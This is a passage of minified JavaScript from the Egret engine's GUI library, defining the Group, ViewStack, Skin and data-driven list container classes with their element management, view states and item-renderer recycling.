f.parent?f.parent.removeElement(f):f.owner&&"removeElement" in f.owner&&f.owner.removeElement(f);this._elementAdded(f,g)}};Object.defineProperty(e.prototype,"numElements",{get:function(){return this._elementsContent.length},enumerable:!0,configurable:!0});e.prototype.getElementAt=function(f){this.checkForRangeError(f);return this._elementsContent[f]};e.prototype.checkForRangeError=function(h,g){"undefined"===typeof g&&(g=!1);var f=this._elementsContent.length-1;g&&f++;if(0>h||h>f){throw new RangeError('\u7d22\u5f15:"'+h+'"\u8d85\u51fa\u53ef\u89c6\u5143\u7d20\u7d22\u5f15\u8303\u56f4')}};e.prototype.addElement=function(g){var f=this.numElements;g.parent==this&&(f=this.numElements-1);return this.addElementAt(g,f)};e.prototype.addElementAt=function(h,g){if(h==this){return h}this.checkForRangeError(g,!0);var f=h.owner;if(f==this||h.parent==this){return this.setElementIndex(h,g),h}f&&"removeElement" in f&&h.owner.removeElement(h);this._elementsContent.splice(g,0,h);this.elementsContentChanged||this._elementAdded(h,g);return h};e.prototype.removeElement=function(f){return this.removeElementAt(this.getElementIndex(f))};e.prototype.removeElementAt=function(g){this.checkForRangeError(g);var f=this._elementsContent[g];this.elementsContentChanged||this._elementRemoved(f,g);this._elementsContent.splice(g,1);return f};e.prototype.removeAllElements=function(){for(var f=this.numElements-1;0<=f;f--){this.removeElementAt(f)}};e.prototype.getElementIndex=function(f){return this._elementsContent.indexOf(f)};e.prototype.setElementIndex=function(h,g){this.checkForRangeError(g);var f=this.getElementIndex(h);-1!=f&&f!=g&&(this.elementsContentChanged||this._elementRemoved(h,f,!1),this._elementsContent.splice(f,1),this._elementsContent.splice(g,0,h),this.elementsContentChanged||this._elementAdded(h,g,!1))};e.prototype.swapElements=function(g,f){this.swapElementsAt(this.getElementIndex(g),this.getElementIndex(f))};e.prototype.swapElementsAt=function(i,g){this.checkForRangeError(i);this.checkForRangeError(g);if(i>g){var f=g;g=i;i=f}else{if(i==g){return}}var f=this._elementsContent,j=f[i],h=f[g];this.elementsContentChanged||(this._elementRemoved(j,i,!1),this._elementRemoved(h,g,!1));f[i]=h;f[g]=j;this.elementsContentChanged||(this._elementAdded(h,i,!1),this._elementAdded(j,g,!1))};e.prototype._elementAdded=function(h,g,f){"undefined"===typeof f&&(f=!0);h instanceof a.DisplayObject&&this._addToDisplayListAt(h,g,f);f&&this.hasEventListener(d.ElementExistenceEvent.ELEMENT_ADD)&&d.ElementExistenceEvent.dispatchElementExistenceEvent(this,d.ElementExistenceEvent.ELEMENT_ADD,h,g);this.invalidateSize();this.invalidateDisplayList()};e.prototype._elementRemoved=function(h,g,f){"undefined"===typeof f&&(f=!0);f&&this.hasEventListener(d.ElementExistenceEvent.ELEMENT_REMOVE)&&d.ElementExistenceEvent.dispatchElementExistenceEvent(this,d.ElementExistenceEvent.ELEMENT_REMOVE,h,g);h instanceof a.DisplayObject&&h.parent==this&&this._removeFromDisplayList(h,f);this.invalidateSize();this.invalidateDisplayList()};e.prototype.addChild=function(f){throw Error("addChild()"+e.errorStr+"addElement()\u4ee3\u66ff")};e.prototype.addChildAt=function(g,f){throw Error("addChildAt()"+e.errorStr+"addElementAt()\u4ee3\u66ff")};e.prototype.removeChild=function(f){throw Error("removeChild()"+e.errorStr+"removeElement()\u4ee3\u66ff")};e.prototype.removeChildAt=function(f){throw Error("removeChildAt()"+e.errorStr+"removeElementAt()\u4ee3\u66ff")};e.prototype.setChildIndex=function(g,f){throw Error("setChildIndex()"+e.errorStr+"setElementIndex()\u4ee3\u66ff")};e.prototype.swapChildren=function(g,f){throw Error("swapChildren()"+e.errorStr+"swapElements()\u4ee3\u66ff")};e.prototype.swapChildrenAt=function(g,f){throw Error("swapChildrenAt()"+e.errorStr+"swapElementsAt()\u4ee3\u66ff")};e.errorStr="\u5728\u6b64\u7ec4\u4ef6\u4e2d\u4e0d\u53ef\u7528\uff0c\u82e5\u6b64\u7ec4\u4ef6\u4e3a\u5bb9\u5668\u7c7b\uff0c\u8bf7\u4f7f\u7528";return e}(d.GroupBase);d.Group=b;b.prototype.__class__="egret.gui.Group"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._createAllChildren=!1;this.proposedSelectedIndex=e.NO_PROPOSED_SELECTION;this._selectedIndex=-1;this.childOrderingChanged=this.notifyTabBar=!1;this._setLayout(new d.BasicLayout)}__extends(e,c);Object.defineProperty(e.prototype,"layout",{get:function(){return this._layout},set:function(f){},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"createAllChildren",{get:function(){return this._createAllChildren},set:function(h){if(this._createAllChildren!=h&&(this._createAllChildren=h)){h=this._getElementsContent();for(var g=h.length,f=0;f<g;f++){var i=h[f];i instanceof a.DisplayObject&&i.parent!=this&&(this.childOrderingChanged=!0,this._addToDisplayList(i))}this.childOrderingChanged&&this.invalidateProperties()}},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"selectedChild",{get:function(){var f=this.selectedIndex;return 0<=f&&f<this.numElements?this.getElementAt(f):null},set:function(f){f=this.getElementIndex(f);0<=f&&f<this.numElements&&this._setSelectedIndex(f)},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"selectedIndex",{get:function(){return this.proposedSelectedIndex!=e.NO_PROPOSED_SELECTION?this.proposedSelectedIndex:this._selectedIndex},set:function(f){this._setSelectedIndex(f)},enumerable:!0,configurable:!0});e.prototype._setSelectedIndex=function(g,f){"undefined"===typeof f&&(f=!0);g!=this.selectedIndex&&(this.proposedSelectedIndex=g,this.invalidateProperties(),d.UIEvent.dispatchUIEvent(this,d.UIEvent.VALUE_COMMIT),this.notifyTabBar=this.notifyTabBar||f)};e.prototype._elementAdded=function(h,g,f){"undefined"===typeof f&&(f=!0);this._createAllChildren&&h instanceof a.DisplayObject&&this._addToDisplayListAt(h,g,f);f&&this.hasEventListener(d.ElementExistenceEvent.ELEMENT_ADD)&&d.ElementExistenceEvent.dispatchElementExistenceEvent(this,d.ElementExistenceEvent.ELEMENT_ADD,h,g);h.visible=!1;h.includeInLayout=!1;-1==this.selectedIndex?this._setSelectedIndex(g,!1):g<=this.selectedIndex&&this.initialized&&this._setSelectedIndex(this.selectedIndex+1);this.dispatchCoEvent(d.CollectionEventKind.ADD,g,-1,[h.name])};e.prototype._elementRemoved=function(h,f,g){"undefined"===typeof g&&(g=!0);c.prototype._elementRemoved.call(this,h,f,g);h.visible=!0;h.includeInLayout=!0;f==this.selectedIndex?0<this.numElements?0==f?(this.proposedSelectedIndex=0,this.invalidateProperties()):this._setSelectedIndex(0,!1):this._setSelectedIndex(-1):f<this.selectedIndex&&this._setSelectedIndex(this.selectedIndex-1);this.dispatchCoEvent(d.CollectionEventKind.REMOVE,f,-1,[h.name])};e.prototype.commitProperties=function(){c.prototype.commitProperties.call(this);this.proposedSelectedIndex!=e.NO_PROPOSED_SELECTION&&(this.commitSelection(this.proposedSelectedIndex),this.proposedSelectedIndex=e.NO_PROPOSED_SELECTION);if(this.childOrderingChanged){this.childOrderingChanged=!1;for(var i=this._getElementsContent(),j=i.length,g=0;g<j;g++){var h=i[g];h instanceof a.DisplayObject&&h.parent==this&&this._addToDisplayList(h)}}this.notifyTabBar&&(this.notifyTabBar=!0,this.dispatchEventWith("IndexChanged"))};e.prototype.commitSelection=function(f){0<=f&&f<this.numElements?(this._selectedIndex=f,this._selectedChild&&this._selectedChild.parent==this&&(this._selectedChild.visible=!1,this._selectedChild.includeInLayout=!1),this._selectedChild=this.getElementAt(this._selectedIndex),this._selectedChild.visible=!0,this._selectedChild.includeInLayout=!0,this._selectedChild.parent!=this&&this._selectedChild instanceof a.DisplayObject&&(this._addToDisplayList(this._selectedChild),this.childOrderingChanged||(this.childOrderingChanged=!0))):(this._selectedChild=null,this._selectedIndex=-1);this.invalidateSize();this.invalidateDisplayList()};Object.defineProperty(e.prototype,"length",{get:function(){return this.numElements},enumerable:!0,configurable:!0});e.prototype.getItemAt=function(f){return(f=this.getElementAt(f))?f.name:""};e.prototype.getItemIndex=function(h){for(var g=this._getElementsContent(),f=g.length,i=0;i<f;i++){if(g[i].name===h){return i}}return -1};e.prototype.dispatchCoEvent=function(k,h,g,j,i){"undefined"===typeof k&&(k=null);"undefined"===typeof h&&(h=-1);"undefined"===typeof g&&(g=-1);"undefined"===typeof j&&(j=null);"undefined"===typeof i&&(i=null);d.CollectionEvent.dispatchCollectionEvent(this,d.CollectionEvent.COLLECTION_CHANGE,k,h,g,j,i)};e.NO_PROPOSED_SELECTION=-2;return e}(d.Group);d.ViewStack=b;b.prototype.__class__="egret.gui.ViewStack"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this.maxWidth=10000;this.minWidth=0;this.maxHeight=10000;this.minHeight=0;this._hasWidthSet=!1;this._width=NaN;this._hasHeightSet=!1;this._height=NaN;this.measuredHeight=this.measuredWidth=0;this._initialized=!1;this._elementsContent=[];this._states=[];this.initialized=!1;this.skinLayout=new d.SkinBasicLayout;this.skinLayout.target=this}__extends(e,c);Object.defineProperty(e.prototype,"width",{get:function(){return this._width},set:function(f){this._width!=f&&(this._width=f,this._hasWidthSet=a.NumberUtils.isNumber(f))},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"height",{get:function(){return this._height},set:function(f){this._height!=f&&(this._height=f,this._hasHeightSet=a.NumberUtils.isNumber(f))},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"preferredWidth",{get:function(){return this._hasWidthSet?this._width:this.measuredWidth},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"preferredHeight",{get:function(){return this._hasHeightSet?this._height:this.measuredHeight},enumerable:!0,configurable:!0});e.prototype.createChildren=function(){};Object.defineProperty(e.prototype,"hostComponent",{get:function(){return this._hostComponent},set:function(f){this._setHostComponent(f)},enumerable:!0,configurable:!0});e.prototype._setHostComponent=function(g){if(this._hostComponent!=g){var f;if(this._hostComponent){for(f=this._elementsContent.length-1;0<=f;f--){this._elementRemoved(this._elementsContent[f],f)}}this._hostComponent=g;this._initialized||(this._initialized=!0,this.createChildren());if(this._hostComponent){g=this._elementsContent.length;for(f=0;f<g;f++){this._elementAdded(this._elementsContent[f],f)}this.initializeStates();this.currentStateChanged&&this.commitCurrentState()}}};e.prototype._getElementsContent=function(){return this._elementsContent};Object.defineProperty(e.prototype,"elementsContent",{set:function(h){null==h&&(h=[]);if(h!=this._elementsContent){if(this._hostComponent){var g;for(g=this._elementsContent.length-1;0<=g;g--){this._elementRemoved(this._elementsContent[g],g)}this._elementsContent=h.concat();h=this._elementsContent.length;for(g=0;g<h;g++){var f=this._elementsContent[g];f.parent&&"removeElement" in f.parent?f.parent.removeElement(f):f.owner&&"removeElement" in f.owner&&f.owner.removeElement(f);this._elementAdded(f,g)}}else{this._elementsContent=h.concat()}}},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"numElements",{get:function(){return this._elementsContent.length},enumerable:!0,configurable:!0});e.prototype.getElementAt=function(f){this.checkForRangeError(f);return this._elementsContent[f]};e.prototype.checkForRangeError=function(h,g){"undefined"===typeof g&&(g=!1);var f=this._elementsContent.length-1;g&&f++;if(0>h||h>f){throw new RangeError('\u7d22\u5f15:"'+h+'"\u8d85\u51fa\u53ef\u89c6\u5143\u7d20\u7d22\u5f15\u8303\u56f4')}};e.prototype.addElement=function(g){var f=this.numElements;g.owner==this&&(f=this.numElements-1);return this.addElementAt(g,f)};e.prototype.addElementAt=function(h,g){this.checkForRangeError(g,!0);var f=h.owner;if(f==this){return this.setElementIndex(h,g),h}f&&"removeElement" in f&&f.removeElement(h);this._elementsContent.splice(g,0,h);this._hostComponent?this._elementAdded(h,g):h.ownerChanged(this);return h};e.prototype.removeElement=function(f){return this.removeElementAt(this.getElementIndex(f))};e.prototype.removeElementAt=function(g){this.checkForRangeError(g);var f=this._elementsContent[g];this._hostComponent?this._elementRemoved(f,g):f.ownerChanged(null);this._elementsContent.splice(g,1);return f};e.prototype.getElementIndex=function(f){return this._elementsContent.indexOf(f)};e.prototype.setElementIndex=function(h,g){this.checkForRangeError(g);var f=this.getElementIndex(h);-1!=f&&f!=g&&(this._hostComponent&&this._elementRemoved(h,f,!1),this._elementsContent.splice(f,1),this._elementsContent.splice(g,0,h),this._hostComponent&&this._elementAdded(h,g,!1))};e.prototype._elementAdded=function(h,g,f){"undefined"===typeof f&&(f=!0);h.ownerChanged(this);h instanceof a.DisplayObject&&this._hostComponent._addToDisplayListAt(h,g,f);f&&this.hasEventListener(d.ElementExistenceEvent.ELEMENT_ADD)&&d.ElementExistenceEvent.dispatchElementExistenceEvent(this,d.ElementExistenceEvent.ELEMENT_ADD,h,g);this._hostComponent.invalidateSize();this._hostComponent.invalidateDisplayList()};e.prototype._elementRemoved=function(h,g,f){"undefined"===typeof f&&(f=!0);f&&this.hasEventListener(d.ElementExistenceEvent.ELEMENT_REMOVE)&&d.ElementExistenceEvent.dispatchElementExistenceEvent(this,d.ElementExistenceEvent.ELEMENT_REMOVE,h,g);h instanceof a.DisplayObject&&h.parent==this._hostComponent&&this._hostComponent._removeFromDisplayList(h,f);h.ownerChanged(null);this._hostComponent.invalidateSize();this._hostComponent.invalidateDisplayList()};e.prototype.measure=function(){this.skinLayout.measure();this.measuredWidth<this.minWidth&&(this.measuredWidth=this.minWidth);this.measuredWidth>this.maxWidth&&(this.measuredWidth=this.maxWidth);this.measuredHeight<this.minHeight&&(this.measuredHeight=this.minHeight);this.measuredHeight>this.maxHeight&&(this.measuredHeight=this.maxHeight)};e.prototype.updateDisplayList=function(g,f){this.skinLayout.updateDisplayList(g,f)};Object.defineProperty(e.prototype,"states",{get:function(){return this._states},set:function(f){this._setStates(f)},enumerable:!0,configurable:!0});e.prototype._setStates=function(i){i||(i=[]);if("string"==typeof i[0]){for(var g=i.length,f=0;f<g;f++){var h=new d.State(i[f],[]);i[f]=h}}this._states=i;this.currentStateChanged=!0;this.requestedCurrentState=this._currentState;this.hasState(this.requestedCurrentState)||(this.requestedCurrentState=this.getDefaultState())};Object.defineProperty(e.prototype,"currentState",{get:function(){return this.currentStateChanged?this.requestedCurrentState:this._currentState?this._currentState:this.getDefaultState()},set:function(f){f||(f=this.getDefaultState());f!=this.currentState&&f&&this.currentState&&(this.requestedCurrentState=f,this.currentStateChanged=!0,this._hostComponent&&this.commitCurrentState())},enumerable:!0,configurable:!0});e.prototype.hasState=function(f){return null!=this.getState(f)};e.prototype.getDefaultState=function(){return 0<this._states.length?this._states[0].name:null};e.prototype.commitCurrentState=function(){if(this.currentStateChanged){this.currentStateChanged=!1;this.getState(this.requestedCurrentState)||(this.requestedCurrentState=this.getDefaultState());var f=this._currentState?this._currentState:"";this.hasEventListener(d.StateChangeEvent.CURRENT_STATE_CHANGING)&&d.StateChangeEvent.dispatchStateChangeEvent(this,d.StateChangeEvent.CURRENT_STATE_CHANGING,f,this.requestedCurrentState?this.requestedCurrentState:"");this.removeState(this._currentState);(this._currentState=this.requestedCurrentState)&&this.applyState(this._currentState);this.hasEventListener(d.StateChangeEvent.CURRENT_STATE_CHANGE)&&d.StateChangeEvent.dispatchStateChangeEvent(this,d.StateChangeEvent.CURRENT_STATE_CHANGE,f,this._currentState?this._currentState:"")}};e.prototype.getState=function(i){if(!i){return null}for(var g=this._states,f=g.length,j=0;j<f;j++){var h=g[j];if(h.name==i){return h}}return null};e.prototype.removeState=function(g){if(g=this.getState(g)){g=g.overrides;for(var f=g.length-1;0<=f;f--){g[f].remove(this)}}};e.prototype.applyState=function(h){if(h=this.getState(h)){h=h.overrides;for(var g=h.length,f=0;f<g;f++){h[f].apply(this)}}};e.prototype.initializeStates=function(){if(!this.initialized){this.initialized=!0;for(var h=this._states,g=h.length,f=0;f<g;f++){h[f].initialize(this)}}};return e}(a.EventDispatcher);d.Skin=b;b.prototype.__class__="egret.gui.Skin"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this.useVirtualLayoutChanged=!1;this.rendererToClassMap=[];this.freeRenderers=[];this.dataProviderChanged=this.createNewRendererFlag=!1;this.recyclerDic=[];this.typicalItemChanged=this.virtualLayoutUnderway=this.itemRendererSkinNameChange=!1;this.indexToRenderer=[];this.renderersBeingUpdated=this.cleanFreeRenderer=!1}__extends(e,c);Object.defineProperty(e.prototype,"layout",{get:function(){return this._layout},set:function(f){f!=this.layout&&(this.layout&&(this.layout.typicalLayoutRect=null,this.layout.removeEventListener("useVirtualLayoutChanged",this.layout_useVirtualLayoutChangedHandler,this)),this.layout&&f&&this.layout.useVirtualLayout!=f.useVirtualLayout&&this.changeUseVirtualLayout(),this._setLayout(f),f&&(f.typicalLayoutRect=this.typicalLayoutRect,f.addEventListener("useVirtualLayoutChanged",this.layout_useVirtualLayoutChangedHandler,this)))},enumerable:!0,configurable:!0});e.prototype.layout_useVirtualLayoutChangedHandler=function(f){this.changeUseVirtualLayout()};e.prototype.setVirtualElementIndicesInView=function(h,g){if(this.layout&&this.layout.useVirtualLayout){this.virtualRendererIndices=[];for(var f=h;f<=g;f++){this.virtualRendererIndices.push(f)}for(var i in this.indexToRenderer){i=parseInt(i),-1==this.virtualRendererIndices.indexOf(i)&&this.freeRendererByIndex(i)}}};e.prototype.getVirtualElementAt=function(h){if(0>h||h>=this.dataProvider.length){return null}var g=this.indexToRenderer[h];if(!g){var g=this.dataProvider.getItemAt(h),f=this.createVirtualRenderer(h);this.indexToRenderer[h]=f;this.updateRenderer(f,h,g);this.createNewRendererFlag&&("validateNow" in f&&f.validateNow(),this.createNewRendererFlag=!1,d.RendererExistenceEvent.dispatchRendererExistenceEvent(this,d.RendererExistenceEvent.RENDERER_ADD,f,h,g));g=f}return g};e.prototype.freeRendererByIndex=function(g){if(this.indexToRenderer[g]){var f=this.indexToRenderer[g];delete this.indexToRenderer[g];f&&f instanceof a.DisplayObject&&this.doFreeRenderer(f)}};e.prototype.doFreeRenderer=function(g){var f=this.rendererToClassMap[g.hashCode].hashCode;this.freeRenderers[f]||(this.freeRenderers[f]=[]);this.freeRenderers[f].push(g);g.visible=!1};e.prototype.invalidateSize=function(){this.createNewRendererFlag||c.prototype.invalidateSize.call(this)};e.prototype.createVirtualRenderer=function(h){h=this.dataProvider.getItemAt(h);h=this.itemToRendererClass(h);var g=h.hashCode,f=this.freeRenderers;if(f[g]&&0<f[g].length){return h=f[g].pop(),h.visible=!0,h}this.createNewRendererFlag=!0;return this.createOneRenderer(h)};e.prototype.createOneRenderer=function(h){var g,f=h.hashCode,i=this.recyclerDic[f];i&&(g=i.pop(),0==i.length&&delete this.recyclerDic[f]);g||(g=h.newInstance(),this.rendererToClassMap[g.hashCode]=h);if(!(g&&g instanceof a.DisplayObject)){return null}this._itemRendererSkinName&&this.setItemRenderSkinName(g);this._addToDisplayList(g);g.setLayoutBoundsSize(NaN,NaN);return g};e.prototype.setItemRenderSkinName=function(f){f&&(f?f._skinNameExplicitlySet||(f.skinName=this._itemRendererSkinName):f&&!f.skinName&&(f.skinName=this._itemRendererSkinName))};e.prototype.finishVirtualLayout=function(){if(this.virtualLayoutUnderway){var g=this.virtualLayoutUnderway=!1,f;for(f in this.freeRenderers){if(0<this.freeRenderers[f].length){g=!0;break}}g&&(this.cleanTimer||(this.cleanTimer=new a.Timer(3000,1),this.cleanTimer.addEventListener(a.TimerEvent.TIMER,this.cleanAllFreeRenderer,this)),this.cleanTimer.reset(),this.cleanTimer.start())}};e.prototype.cleanAllFreeRenderer=function(k){var h=this.freeRenderers,g;for(g in h){for(var l=h[g],j=l.length,i=0;i<j;i++){k=l[i],k.visible=!0,this.recycle(k)}}this.freeRenderers=[];this.cleanFreeRenderer=!1};e.prototype.getElementIndicesInView=function(){return this.layout&&this.layout.useVirtualLayout?this.virtualRendererIndices?this.virtualRendererIndices:[]:c.prototype.getElementIndicesInView.call(this)};e.prototype.changeUseVirtualLayout=function(){this.cleanFreeRenderer=this.useVirtualLayoutChanged=!0;this.removeDataProviderListener();this.invalidateProperties()};Object.defineProperty(e.prototype,"dataProvider",{get:function(){return this._dataProvider},set:function(f){this._dataProvider!=f&&(this.removeDataProviderListener(),this._dataProvider=f,this.cleanFreeRenderer=this.dataProviderChanged=!0,this.invalidateProperties(),this.invalidateSize(),this.invalidateDisplayList())},enumerable:!0,configurable:!0});e.prototype.removeDataProviderListener=function(){this._dataProvider&&this._dataProvider.removeEventListener(d.CollectionEvent.COLLECTION_CHANGE,this.onCollectionChange,this)};e.prototype.onCollectionChange=function(g){switch(g.kind){case d.CollectionEventKind.ADD:this.itemAddedHandler(g.items,g.location);break;case d.CollectionEventKind.MOVE:this.itemMovedHandler(g.items[0],g.location,g.oldLocation);break;case d.CollectionEventKind.REMOVE:this.itemRemovedHandler(g.items,g.location);break;case d.CollectionEventKind.UPDATE:this.itemUpdatedHandler(g.items[0],g.location);break;case d.CollectionEventKind.REPLACE:this.itemRemoved(g.oldItems[0],g.location);this.itemAdded(g.items[0],g.location);break;case d.CollectionEventKind.RESET:case d.CollectionEventKind.REFRESH:if(this.layout&&this.layout.useVirtualLayout){for(var f in this.indexToRenderer){f=parseInt(f),this.freeRendererByIndex(f)}}this.dataProviderChanged=!0;this.invalidateProperties()}this.invalidateSize();this.invalidateDisplayList()};e.prototype.itemAddedHandler=function(h,g){for(var f=h.length,i=0;i<f;i++){this.itemAdded(h[i],g+i)}this.resetRenderersIndices()};e.prototype.itemMovedHandler=function(h,g,f){this.itemRemoved(h,f);this.itemAdded(h,g);this.resetRenderersIndices()};e.prototype.itemRemovedHandler=function(h,g){for(var f=h.length-1;0<=f;f--){this.itemRemoved(h[f],g+f)}this.resetRenderersIndices()};e.prototype.itemAdded=function(m,i){this.layout&&this.layout.elementAdded(i);if(this.layout&&this.layout.useVirtualLayout){var h=this.virtualRendererIndices;if(h){for(var l=h.length,k=0;k<l;k++){var j=h[k];j>=i&&(h[k]=j+1)}this.indexToRenderer.splice(i,0,null)}}else{h=this.itemToRendererClass(m),h=this.createOneRenderer(h),this.indexToRenderer.splice(i,0,h),h&&(this.updateRenderer(h,i,m),d.RendererExistenceEvent.dispatchRendererExistenceEvent(this,d.RendererExistenceEvent.RENDERER_ADD,h,i,m))}};e.prototype.itemRemoved=function(p,j){this.layout&&this.layout.elementRemoved(j);var i=this.virtualRendererIndices;if(i&&0<i.length){for(var o=-1,m=i.length,n=0;n<m;n++){var l=i[n];l==j?o=n:l>j&&(i[n]=l-1)}-1!=o&&i.splice(o,1)}i=this.indexToRenderer[j];this.indexToRenderer.length>j&&this.indexToRenderer.splice(j,1);d.RendererExistenceEvent.dispatchRendererExistenceEvent(this,d.RendererExistenceEvent.RENDERER_REMOVE,i,j,p);i&&i instanceof a.DisplayObject&&this.recycle(i)};e.prototype.recycle=function(g){this._removeFromDisplayList(g);"ownerChanged" in g&&g.ownerChanged(null);var f=this.rendererToClassMap[g.hashCode].hashCode;this.recyclerDic[f]||(this.recyclerDic[f]=new a.Recycler);this.recyclerDic[f].push(g)};e.prototype.resetRenderersIndices=function(){if(0!=this.indexToRenderer.length){if(this.layout&&this.layout.useVirtualLayout){for(var h=this.virtualRendererIndices,g=h.length,f=0;f<g;f++){var i=h[f];this.resetRendererItemIndex(i)}}else{for(h=this.indexToRenderer.length,i=0;i<h;i++){this.resetRendererItemIndex(i)}}}};e.prototype.itemUpdatedHandler=function(h,g){if(!this.renderersBeingUpdated){var f=this.indexToRenderer[g];f&&this.updateRenderer(f,g,h)}};e.prototype.resetRendererItemIndex=function(g){var f=this.indexToRenderer[g];f&&(f.itemIndex=g)};Object.defineProperty(e.prototype,"itemRenderer",{get:function(){return this._itemRenderer},set:function(f){this._itemRenderer!==f&&(this._itemRenderer=f,this.cleanFreeRenderer=this.typicalItemChanged=this.itemRendererChanged=!0,this.removeDataProviderListener(),this.invalidateProperties())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"itemRendererSkinName",{get:function(){return this._itemRendererSkinName},set:function(f){this._itemRendererSkinName!=f&&(this._itemRendererSkinName=f)&&this.initialized&&(this.itemRendererSkinNameChange=!0,this.invalidateProperties())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"itemRendererFunction",{get:function(){return this._itemRendererFunction},set:function(f){this._itemRendererFunction!=f&&(this._itemRendererFunction=f,this.typicalItemChanged=this.itemRendererChanged=!0,this.removeDataProviderListener(),this.invalidateProperties())},enumerable:!0,configurable:!0});e.prototype.itemToRendererClass=function(f){null!=this._itemRendererFunction?(f=this._itemRendererFunction(f),f||(f=this._itemRenderer)):f=this._itemRenderer;return f?f:e.defaultRendererFactory};e.prototype.createChildren=function(){if(!this.layout){var f=new d.VerticalLayout;f.gap=0;f.horizontalAlign=a.HorizontalAlign.CONTENT_JUSTIFY;this.layout=f}c.prototype.createChildren.call(this)};e.prototype.commitProperties=function(){if(this.itemRendererChanged||this.dataProviderChanged||this.useVirtualLayoutChanged){this.removeAllRenderers(),this.layout&&this.layout.clearVirtualLayoutCache(),this.setTypicalLayoutRect(null),this.itemRendererChanged=this.useVirtualLayoutChanged=!1,this._dataProvider&&this._dataProvider.addEventListener(d.CollectionEvent.COLLECTION_CHANGE,this.onCollectionChange,this),this.layout&&this.layout.useVirtualLayout?(this.invalidateSize(),this.invalidateDisplayList()):this.createRenderers(),this.dataProviderChanged&&(this.dataProviderChanged=!1,this.verticalScrollPosition=this.horizontalScrollPosition=0)}c.prototype.commitProperties.call(this);this.typicalItemChanged&&(this.typicalItemChanged=!1,this._dataProvider&&0<this._dataProvider.length&&(this.typicalItem=this._dataProvider.getItemAt(0),this.measureRendererSize()));if(this.itemRendererSkinNameChange){this.itemRendererSkinNameChange=!1;for(var l=this.indexToRenderer.length,g=0;g<l;g++){this.setItemRenderSkinName(this.indexToRenderer[g])}var k=this.freeRenderers,j;for(j in k){var i=k[j];if(i){for(l=i.length,g=0;g<l;g++){this.setItemRenderSkinName(i[g])}}}}};e.prototype.measure=function(){this.layout&&this.layout.useVirtualLayout&&this.ensureTypicalLayoutElement();c.prototype.measure.call(this)};e.prototype.updateDisplayList=function(g,f){this._layoutInvalidateDisplayListFlag&&this.layout&&this.layout.useVirtualLayout&&(this.virtualLayoutUnderway=!0,this.ensureTypicalLayoutElement());c.prototype.updateDisplayList.call(this,g,f);this.virtualLayoutUnderway&&this.finishVirtualLayout()};e.prototype.ensureTypicalLayoutElement=function(){!this.layout.typicalLayoutRect&&this._dataProvider&&0<this._dataProvider.length&&(this.typicalItem=this._dataProvider.getItemAt(0),this.measureRendererSize())};e.prototype.measureRendererSize=function(){if(this.typicalItem){var g=this.itemToRendererClass(this.typicalItem);if(g=this.createOneRenderer(g)){this.createNewRendererFlag=!0;this.updateRenderer(g,0,this.typicalItem);"validateNow" in g&&g.validateNow();var f=new a.Rectangle(0,0,g.preferredWidth,g.preferredHeight);this.recycle(g);this.setTypicalLayoutRect(f);this.createNewRendererFlag=!1}else{this.setTypicalLayoutRect(null)}}else{this.setTypicalLayoutRect(null)}};e.prototype.setTypicalLayoutRect=function(f){this.typicalLayoutRect=f;this.layout&&(this.layout.typicalLayoutRect=f)};e.prototype.removeAllRenderers=function(){for(var h=this.indexToRenderer.length,g,f=0;f<h;f++){if(g=this.indexToRenderer[f]){this.recycle(g),d.RendererExistenceEvent.dispatchRendererExistenceEvent(this,d.RendererExistenceEvent.RENDERER_REMOVE,g,g.itemIndex,g.data)}}this.indexToRenderer=[];this.virtualRendererIndices=null;this.cleanFreeRenderer&&this.cleanAllFreeRenderer()};e.prototype.createRenderers=function(){if(this._dataProvider){for(var k=0,h=this._dataProvider.length,g=0;g<h;g++){var j=this._dataProvider.getItemAt(g),i=this.itemToRendererClass(j);if(i=this.createOneRenderer(i)){this.indexToRenderer[k]=i,this.updateRenderer(i,k,j),d.RendererExistenceEvent.dispatchRendererExistenceEvent(this,d.RendererExistenceEvent.RENDERER_ADD,i,k,j),k++}}}};e.prototype.updateRenderer=function(h,g,f){this.renderersBeingUpdated=!0;this._rendererOwner?h=this._rendererOwner.updateRenderer(h,g,f):("ownerChanged" in h&&h.ownerChanged(this),h.itemIndex=g,h.label=this.itemToLabel(f),h.data=f);this.renderersBeingUpdated=!1;return h};e.prototype.itemToLabel=function(f){return f?f.toString():" "};e.prototype.getElementAt=function(f){return this.indexToRenderer[f]};e.prototype.getElementIndex=function(f){return f?this.indexToRenderer.indexOf(f):-1};Object.defineProperty(e.prototype,"numElements",{get:function(){return this._dataProvider?this._dataProvider.length:0},enumerable:!0,configurable:!0});e.prototype.addChild=function(f){throw Error("addChild()"+e.errorStr+"addElement()\u4ee3\u66ff")};e.prototype.addChildAt=function(g,f){throw Error("addChildAt()"+e.errorStr+"addElementAt()\u4ee3\u66ff")};e.prototype.removeChild=function(f){throw Error("removeChild()"+e.errorStr+"removeElement()\u4ee3\u66ff")};e.prototype.removeChildAt=function(f){throw Error("removeChildAt()"+e.errorStr+"removeElementAt()\u4ee3\u66ff")};e.prototype.setChildIndex=function(g,f){throw Error("setChildIndex()"+e.errorStr+"setElementIndex()\u4ee3\u66ff")};e.prototype.swapChildren=function(g,f){throw Error("swapChildren()"+e.errorStr+"swapElements()\u4ee3\u66ff")};e.prototype.swapChildrenAt=function(g,f){throw 